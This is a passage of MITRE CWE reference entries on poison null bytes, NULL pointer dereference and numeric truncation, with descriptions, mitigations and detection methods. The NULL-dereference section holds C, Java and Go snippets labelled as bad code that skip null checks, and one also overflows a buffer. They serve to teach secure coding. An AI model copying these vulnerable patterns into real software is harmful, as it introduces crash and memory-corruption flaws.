2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Not Allowing Password Aging

CWE-626: Null Byte Interaction Error (Poison Null Byte)

Weakness ID: 626
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly handle null bytes or NUL characters when passing data between different representations or components.
+ Extended Description

A null byte (NUL character) can have different meanings across representations or languages. For example, it is a string terminator in standard C libraries, but Perl and PHP strings do not treat it as a terminator. When two representations are crossed - such as when Perl or PHP invokes underlying C functionality - this can produce an interaction error with unexpected results. Similar issues have been reported for ASP. Other interpreters written in C might also be affected.

The poison null byte is frequently useful in path traversal attacks by terminating hard-coded extensions that are added to a filename. It can play a role in regular expression processing in PHP.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.436Interpretation Conflict
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.147Improper Neutralization of Input Terminators
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

PHP (Undetermined Prevalence)

Perl (Undetermined Prevalence)

ASP.NET (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
NUL byte bypasses PHP regular expression check
inserting SQL after a NUL byte bypasses allowlist regexp, enabling SQL injection
+ Potential Mitigations

Phase: Implementation

Remove null bytes from all incoming strings.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

Current usage of "poison null byte" is typically related to this C/Perl/PHP interaction error, but the original term in 1998 was applied to an off-by-one buffer overflow involving a null byte.

Research Gap

There are not many CVE examples, because the poison NULL byte is a design limitation, which typically is not included in CVE by itself. It is typically used as a facilitator manipulation to widen the scope of potential attacks against other vulnerabilities.
+ References
[REF-514] Rain Forest Puppy. "Poison NULL byte". Phrack 55. <https://insecure.org/news/P55-07.txt>. URL validated: 2023-04-07.
[REF-515] Brett Moore. "0x00 vs ASP file upload scripts". <http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf>.
[REF-516] ShAnKaR. "ShAnKaR: multiple PHP application poison NULL byte vulnerability". <https://seclists.org/fulldisclosure/2006/Sep/185>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Relationships, Observed_Example, Other_Notes, Weakness_Ordinalities
2011-03-29CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes, Research_Gaps, Terminology_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples, Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-476: NULL Pointer Dereference

Weakness ID: 476
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.
+ Extended Description
NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.
+ Alternate Terms
NPD
null deref
nil pointer dereference:
used for access of nil in Go programs
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.754Improper Check for Unusual or Exceptional Conditions
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.710Improper Adherence to Coding Standards
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.252Unchecked Return Value
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.789Memory Allocation with Excessive Size Value
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1325Improperly Controlled Sequential Memory Allocation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.465Pointer Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.754Improper Check for Unusual or Exceptional Conditions
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

Go (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart

NULL pointer dereferences usually result in the failure of the process unless exception handling (on some platforms) is available and implemented. Even when exception handling is being used, it can still be very difficult to return the software to a safe state of operation.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands; Read Memory; Modify Memory

In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur.

(good code)
 
if (pointer1 != NULL) {

/* make use of pointer1 */

/* ... */
}

If you are working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished.

Example 2

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)
Example Language:
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */

validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).

Example 3

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a NULL pointer exception when it attempts to call the trim() method.

(bad code)
Example Language: Java 
String cmd = System.getProperty("cmd");
cmd = cmd.trim();

Example 4

This Android application has registered to handle a URL when sent an intent:

(bad code)
Example Language: Java 

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...

public class UrlHandlerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if("com.example.URLHandler.openURL".equals(intent.getAction())) {
String URL = intent.getStringExtra("URLToOpen");
int length = URL.length();

...
}
}
}

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

Example 5

Consider the following example of a typical client server exchange. The HandleRequest function is intended to perform a request and use a defer to close the connection whenever the function returns.

(bad code)
Example Language: Go 
func HandleRequest(client http.Client, request *http.Request) (*http.Response, error) {
response, err := client.Do(request)
defer response.Body.Close()
if err != nil {
return nil, err
}
...
}

If a user supplies a malformed request or violates the client policy, the Do method can return a nil response and a non-nil err.

This HandleRequest Function evaluates the close before checking the error. A deferred call's arguments are evaluated immediately, so the defer statement panics due to a nil response.

+ Observed Examples
ReferenceDescription
race condition causes a table to be corrupted if a timer activates while it is being modified, leading to resultant NULL dereference; also involves locking.
large number of packets leads to NULL dereference
packet with invalid error status value triggers NULL dereference
Chain: race condition for an argument value, possibly resulting in NULL dereference
ssh component for Go allows clients to cause a denial of service (nil pointer dereference) against SSH servers.
Chain: Use of an unimplemented network socket operation pointing to an uninitialized handler function (CWE-456) causes a crash because of a null pointer dereference (CWE-476).
Chain: race condition (CWE-362) might allow resource to be released before operating on it, leading to NULL dereference (CWE-476)
Chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference
Chain: IP and UDP layers each track the same value with different mechanisms that can get out of sync, possibly resulting in a NULL dereference
Chain: uninitialized function pointers can be dereferenced allowing code execution
Chain: improper initialization of memory can lead to NULL dereference
Chain: game server can access player data structures before initialization has happened leading to NULL dereference
Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476)
Chain: a message having an unknown message type may cause a reference to uninitialized memory resulting in a null pointer dereference (CWE-476) or dangling pointer (CWE-825), possibly crashing the system or causing heap corruption.
Chain: unchecked return value can lead to NULL dereference
SSL software allows remote attackers to cause a denial of service (crash) via a crafted SSL/TLS handshake that triggers a null dereference.
Network monitor allows remote attackers to cause a denial of service (crash) via a malformed RADIUS packet that triggers a null dereference.
Network monitor allows remote attackers to cause a denial of service (crash) via a malformed Q.931, which triggers a null dereference.
Chat client allows remote attackers to cause a denial of service (crash) via a passive DCC request with an invalid ID number, which causes a null dereference.
Server allows remote attackers to cause a denial of service (crash) via malformed requests that trigger a null dereference.
OS allows remote attackers to cause a denial of service (crash from null dereference) or execute arbitrary code via a crafted request during authentication protocol selection.
Game allows remote attackers to cause a denial of service (server crash) via a missing argument, which triggers a null pointer dereference.
Network monitor allows remote attackers to cause a denial of service (crash) or execute arbitrary code via malformed packets that cause a NULL pointer dereference.
Chain: System call returns wrong value (CWE-393), leading to a resultant NULL dereference (CWE-476).
+ Potential Mitigations

Phase: Implementation

If all pointers that could have been modified are sanity-checked previous to use, nearly all NULL pointer dereferences can be prevented.

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Implementation

Check the results of all functions that return a value and verify that the value is non-null before acting upon it.

Effectiveness: Moderate

Note: Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment. This solution does not handle the use of improperly initialized variables (CWE-665).

Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Phase: Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
NULL pointer dereferences are frequently resultant from rarely encountered error conditions, since these are most likely to escape detection during the testing phases.
+ Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3987PK - Code Quality
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.730OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.737CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8672011 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.871CERT C++ Secure Coding Section 03 - Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.971SFP Secondary Cluster: Faulty Pointer Use
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1136SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1157SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsNull Dereference
CLASPNull-pointer dereference
PLOVERNull Dereference (Null Pointer Dereference)
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
CERT C Secure CodingEXP34-CExactDo not dereference null pointers
Software Fault PatternsSFP7Faulty Pointer Use
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-1031] "Null pointer / Null dereferencing". Wikipedia. 2019-07-15. <https://en.wikipedia.org/wiki/Null_pointer#Null_dereferencing>.
[REF-1032] "Null Reference Creation and Null Pointer Dereference". Apple. <https://developer.apple.com/documentation/xcode/null-reference-creation-and-null-pointer-dereference>. URL validated: 2023-04-07.
[REF-1033] "NULL Pointer Dereference [CWE-476]". ImmuniWeb. 2012-09-11. <https://www.immuniweb.com/vulnerability/null-pointer-dereference.html>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Other_Notes, Potential_Mitigations, Weakness_Ordinalities
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations
2010-09-27CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2010-12-13CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Related_Attack_Patterns, Relationships
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated References, Relationships
2020-02-24CWE Content TeamMITRE
updated References
2020-06-25CWE Content TeamMITRE
updated Common_Consequences
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
2021-07-20CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Alternate_Terms
2022-06-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Observed_Examples
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-197: Numeric Truncation Error

Weakness ID: 197
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.
+ Extended Description
When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
CanAlsoBeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.192Integer Coercion Error
CanAlsoBeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.194Unexpected Sign Extension
CanAlsoBeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.195Signed to Unsigned Conversion Error
CanAlsoBeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.196Unsigned to Signed Conversion Error
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Memory

The true value of the data is lost and corrupted data is used.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

